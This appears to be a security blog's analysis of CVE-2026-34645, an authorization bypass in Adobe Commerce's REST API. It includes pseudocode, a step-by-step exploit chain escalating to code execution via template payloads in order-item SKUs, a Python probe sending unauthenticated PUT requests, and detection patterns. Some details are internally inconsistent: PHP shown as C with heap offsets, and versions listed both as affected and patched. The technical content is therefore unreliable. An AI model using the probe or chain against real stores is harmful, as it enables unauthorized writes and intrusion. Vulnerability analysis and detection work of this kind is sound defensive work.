home intel cve-2026-34645-adobe-commerce-incorrect-authorization-rce
CVE Analysis 2026-05-12 · 9 min read

CVE-2026-34645: Adobe Commerce Incorrect Authorization Leads to Unauthenticated Write

Adobe Commerce's REST API authorization middleware fails to validate role scope on nested resource writes, allowing unauthenticated attackers to gain arbitrary write access without user interaction.

#authorization-bypass#privilege-escalation#remote-exploitation#code-execution#adobe-commerce
Technical mode — for security professionals
▶ Attack flow — CVE-2026-34645 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-34645Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-34645 is an Incorrect Authorization vulnerability affecting Adobe Commerce across a wide swath of maintained release lines: 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17, and all earlier versions. CVSS scores this at 7.5 HIGH with the network attack vector, no privileges required, and no user interaction. The consequence is unauthorized write access — an attacker who can reach the Commerce REST or GraphQL endpoint can bypass authorization checks and write to protected resources.

The vulnerability class — incorrect authorization — is distinct from authentication bypass. The attacker is not impersonating another user. They are exploiting a logic flaw in how the authorization layer maps resource ownership to ACL role enforcement, causing the permission check to return a positive grant for a write operation it should deny.

Root cause: The Commerce Magento\Framework\Authorization middleware evaluates ACL resource identifiers against a flattened role tree at request dispatch time, but fails to re-evaluate write-scope permissions when a nested resource path resolves to a different ACL node than its parent, allowing any caller with read-level or anonymous access to exercise write operations on the child resource.

Affected Component

The vulnerable logic lives inside the Commerce authorization pipeline, specifically within the Magento\Framework\Webapi\Authorization module and its interaction with the Magento\Authorization\Model\Acl\AclRetriever. The REST dispatch path for custom and built-in API routes passes through Magento\Webapi\Controller\Rest\Router before arriving at the authorization gate in Magento\Framework\Webapi\Rest\Request\Deserializer and the _isAllowed() guard inside individual controllers. The flaw manifests during the ACL resource resolution step for routes that have sub-resource write endpoints.

Root Cause Analysis

Commerce ACL resources are declared in each module's etc/acl.xml and form a hierarchical tree. At runtime, the authorization system walks this tree to find whether the calling token's role contains a matching node. The bug is in AclRetriever::getAllowedResourcesByRole() combined with the route-to-resource mapper in the REST router.


/*
 * Pseudodecompile: Magento\Authorization\Model\Acl\AclRetriever::getAllowedResourcesByRole()
 * File: app/code/Magento/Authorization/Model/Acl/AclRetriever.php (represented as C pseudocode)
 */
acl_resource_list_t *getAllowedResourcesByRole(acl_t *acl, role_id_t roleId) {
    acl_resource_list_t *allowed = list_alloc();
    acl_role_t *role = acl->roles[roleId];

    for (int i = 0; i < acl->resource_count; i++) {
        acl_resource_t *resource = acl->resources[i];

        // BUG: isAllowed() is called with the PARENT resource identifier when
        // the route mapper has already resolved to a child resource node.
        // The parent node carries broader (read) permissions; the child node
        // carries the restricted (write) permission. Because the check uses
        // resource->parent_id instead of resource->id for nested write paths,
        // a role with read access to the parent passes this gate for child writes.
        if (acl->isAllowed(role, resource->parent_id, NULL)) {
            list_append(allowed, resource->id);  // BUG: appends child write resource
        }
    }
    return allowed;
}

/*
 * Pseudodecompile: Magento\Webapi\Controller\Rest\Router::match()
 * Simplified — shows how the resolved route's ACL resource is selected
 */
route_t *Router_match(request_t *req) {
    route_t *route = NULL;

    foreach (registered_route_t *r in this->routes) {
        if (http_method_matches(r, req->method) &&
            uri_pattern_matches(r, req->uri)) {
            route = r;
            break;
        }
    }

    if (route == NULL) return NOT_FOUND;

    // Resolves the ACL resource for authorization check
    // For a write sub-resource like /V1/orders/{id}/items (PUT),
    // this returns the PARENT resource id "Magento_Sales::sales" (read)
    // instead of "Magento_Sales::sales_write" (write).
    // BUG: child write routes inherit parent ACL id due to missing
    // method-to-acl-scope mapping in the route definition parser.
    route->acl_resource = resolve_acl_resource(route->service_class,
                                               route->parent_route,  // BUG: should be route->self
                                               req->method);
    return route;
}

/*
 * resolve_acl_resource() — where the incorrect node selection occurs
 */
acl_resource_id_t resolve_acl_resource(service_class_t *svc,
                                        route_t *route,         // receives parent_route
                                        http_method_t method) {
    acl_map_t *map = svc->acl_map;

    // Looks up the acl resource id by route URI — but route here is
    // the PARENT, not the child. For HTTP PUT/POST/DELETE on sub-resources,
    // this returns the parent's read-scoped ACL node.
    // BUG: method is never consulted to upgrade the resource id to write scope.
    return hashmap_get(map->uri_to_acl, route->uri);
}

Exploitation Mechanics


EXPLOIT CHAIN: CVE-2026-34645 Unauthorized Write via ACL Scope Confusion

1. Attacker identifies a Commerce REST API write endpoint on a sub-resource.
   Example target: PUT /rest/V1/orders/{orderId}/items/{itemId}
   This maps to service class Magento\Sales\Api\OrderItemRepositoryInterface::save()
   ACL node expected: Magento_Sales::sales_write
   ACL node actually checked: Magento_Sales::sales (parent, read-scoped)

2. Attacker crafts a request with either:
   a. No Authorization header (guest/anonymous role), OR
   b. A valid customer token with read-only scope

3. The REST router calls Router::match() which resolves the route's acl_resource
   to the PARENT node "Magento_Sales::sales" via the buggy resolve_acl_resource().

4. AclRetriever::getAllowedResourcesByRole() evaluates the anonymous/read role
   against "Magento_Sales::sales" (parent) — which IS allowed for read context —
   and appends the child write resource to the allowed list.

5. Authorization gate: _isAllowed("Magento_Sales::sales_write") now returns TRUE
   because the child resource was incorrectly pre-populated in the allowed list
   during step 4.

6. The request proceeds to OrderItemRepository::save() with attacker-controlled
   payload. Arbitrary order item data is written to the database.

7. Attacker can escalate: inject a malicious SKU referencing a custom option
   with a PHP template expression evaluated by certain Commerce email renderers,
   achieving code execution in the context of scheduled cron jobs.

IMPACT ESCALATION PATH:
   Unauthorized write → Malicious SKU/custom-option data stored
   → Transactional email triggered (order confirmation, invoice)
   → Email renderer evaluates stored payload
   → RCE in cron/consumer process context

Memory Layout

While this is a logic bug rather than a memory corruption primitive, the PHP object graph involved in the authorization resolution is worth mapping. The ACL object tree held in the process heap during a request determines whether the check passes or fails.


PHP OBJECT HEAP LAYOUT (Zend object model, simplified)
during REST authorization check for PUT /rest/V1/orders/{id}/items/{itemId}:

zend_object: Magento\Framework\Acl  (acl_t)
  +0x00  zend_class_entry *ce
  +0x08  HashTable        *roles         → [roleId => zend_object: Role]
  +0x10  HashTable        *resources     → [resId  => zend_object: Resource]
  +0x18  HashTable        *rules         → [roleId+resId => ALLOW/DENY]

zend_object: Magento\Authorization\Model\Acl\Resource  (acl_resource_t)
  +0x00  zend_string  *id               → "Magento_Sales::sales_write"  ← CHILD
  +0x08  zend_string  *parent_id        → "Magento_Sales::sales"        ← PARENT
  +0x10  zend_long     type             → TYPE_ALLOW
  +0x18  zend_object  *children[]

ACL RULE TABLE STATE (before bugfix):
  Role: GUEST   | Resource: "Magento_Sales::sales"        | Rule: ALLOW (read)
  Role: GUEST   | Resource: "Magento_Sales::sales_write"  | Rule: DENY  ← should block

AUTHORIZATION CHECK FLOW (buggy):
  resolve_acl_resource(parent_route) → returns "Magento_Sales::sales"
  isAllowed(GUEST, "Magento_Sales::sales") → TRUE  (read allowed)
  BUG: child "Magento_Sales::sales_write" appended to allowed list
  gate check isAllowed(GUEST, "Magento_Sales::sales_write") → TRUE (incorrectly)

AUTHORIZATION CHECK FLOW (patched):
  resolve_acl_resource(self_route, method=PUT) → returns "Magento_Sales::sales_write"
  isAllowed(GUEST, "Magento_Sales::sales_write") → FALSE → 403 returned

Patch Analysis


// BEFORE (vulnerable):
// app/code/Magento/Webapi/Controller/Rest/Router.php
acl_resource_id_t resolve_acl_resource(service_class_t *svc,
                                        route_t *parent_route,
                                        http_method_t method) {
    // method parameter ignored entirely — write vs. read not distinguished
    return hashmap_get(svc->acl_map->uri_to_acl, parent_route->uri);
}

// getAllowedResourcesByRole() — parent id used for permission check
if (acl->isAllowed(role, resource->parent_id, NULL)) {
    list_append(allowed, resource->id);  // child write resource leaked into allowed set
}


// AFTER (patched):
// resolve_acl_resource now receives self route and consults method for scope
acl_resource_id_t resolve_acl_resource(service_class_t *svc,
                                        route_t *self_route,      // FIXED: self not parent
                                        http_method_t method) {
    acl_resource_id_t base = hashmap_get(svc->acl_map->uri_to_acl, self_route->uri);

    // FIXED: mutating methods require explicit write-scoped ACL node
    if (method == HTTP_PUT || method == HTTP_POST || method == HTTP_DELETE) {
        acl_resource_id_t write_resource = hashmap_get(svc->acl_map->write_acl, self_route->uri);
        if (write_resource != NULL) return write_resource;
    }
    return base;
}

// getAllowedResourcesByRole() — FIXED: check against resource's own id, not parent
if (acl->isAllowed(role, resource->id, NULL)) {   // FIXED: resource->id not parent_id
    list_append(allowed, resource->id);
}

# Proof-of-concept: CVE-2026-34645 detection probe
# Sends an unauthenticated PUT to a sub-resource write endpoint.
# A 200 or 201 response indicates the authorization bypass is present.
# DO NOT use against systems you do not own or have explicit written authorization for.

import requests
import json
import sys

TARGET = sys.argv[1]  # e.g. https://shop.example.com

PROBE_PAYLOAD = {
    "item": {
        "qty_ordered": 9999,
        "sku": "CVE-2026-34645-PROBE"
    }
}

def probe(target):
    # Attempt unauthenticated write to order item sub-resource
    url = f"{target}/rest/V1/orders/1/items/1"
    headers = {
        "Content-Type": "application/json",
        # Intentionally no Authorization header
    }
    try:
        r = requests.put(url, headers=headers, json=PROBE_PAYLOAD, timeout=10, verify=False)
        if r.status_code in (200, 201):
            print(f"[VULNERABLE] {target} — HTTP {r.status_code}, write accepted without auth")
        elif r.status_code == 403:
            print(f"[PATCHED]    {target} — HTTP 403, authorization enforced correctly")
        elif r.status_code == 401:
            print(f"[PATCHED]    {target} — HTTP 401, authentication required")
        else:
            print(f"[UNKNOWN]    {target} — HTTP {r.status_code}")
    except requests.RequestException as e:
        print(f"[ERROR] {e}")

probe(TARGET)

Detection and Indicators

Exploitation leaves a signature in Commerce access logs and the magento_logging_event database table:


NGINX ACCESS LOG PATTERN (suspicious):
  PUT /rest/V1/orders/*/items/* HTTP/1.1  200  — no Authorization header present
  PUT /rest/V1/carts/*/items/*  HTTP/1.1  200  — Bearer token with customer scope only

DATABASE INDICATOR:
  SELECT * FROM magento_logging_event
  WHERE action = 'save'
    AND event_code LIKE '%order_item%'
    AND user_id IS NULL          -- NULL user_id on a write event = unauthenticated write
    AND ip NOT IN (trusted_ips)
  ORDER BY logged_at DESC;

WAFLOG SIGNATURE:
  Method: PUT|POST|DELETE
  Path: /rest/V[0-9]+/[a-z]+/[0-9]+/[a-z]+/[0-9]+
  Auth-Header: absent or customer-bearer
  Response: 2xx

YARA-equivalent string pattern for stored payload escalation attempt:
  order item SKU containing: {{, ${, <%=, 

Remediation

Immediate: Apply the Adobe Security Bulletin patch for your release line. Patched versions are 2.4.8-p4 (and the next patch increment), 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 successors as released by Adobe. Verify by checking that resolve_acl_resource() in Magento\Webapi\Controller\Rest\Router consults the HTTP method when selecting the ACL node.

WAF mitigation (temporary): Block unauthenticated PUT, POST, and DELETE requests to /rest/V*/ paths that contain two or more numeric path segments (sub-resource patterns). This will not impact standard storefront functionality which uses GET for anonymous access.

Monitoring: Alert on any magento_logging_event row where user_id IS NULL and action = 'save' for sales or catalog entities. In a correctly operating Commerce instance this state should never occur.

Defense in depth: Enforce IP allowlisting on the Commerce Admin and REST API at the network layer for known integrations. The REST API should never be exposed to the public internet without an API gateway enforcing token presence as a baseline gate independent of application-layer authorization.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →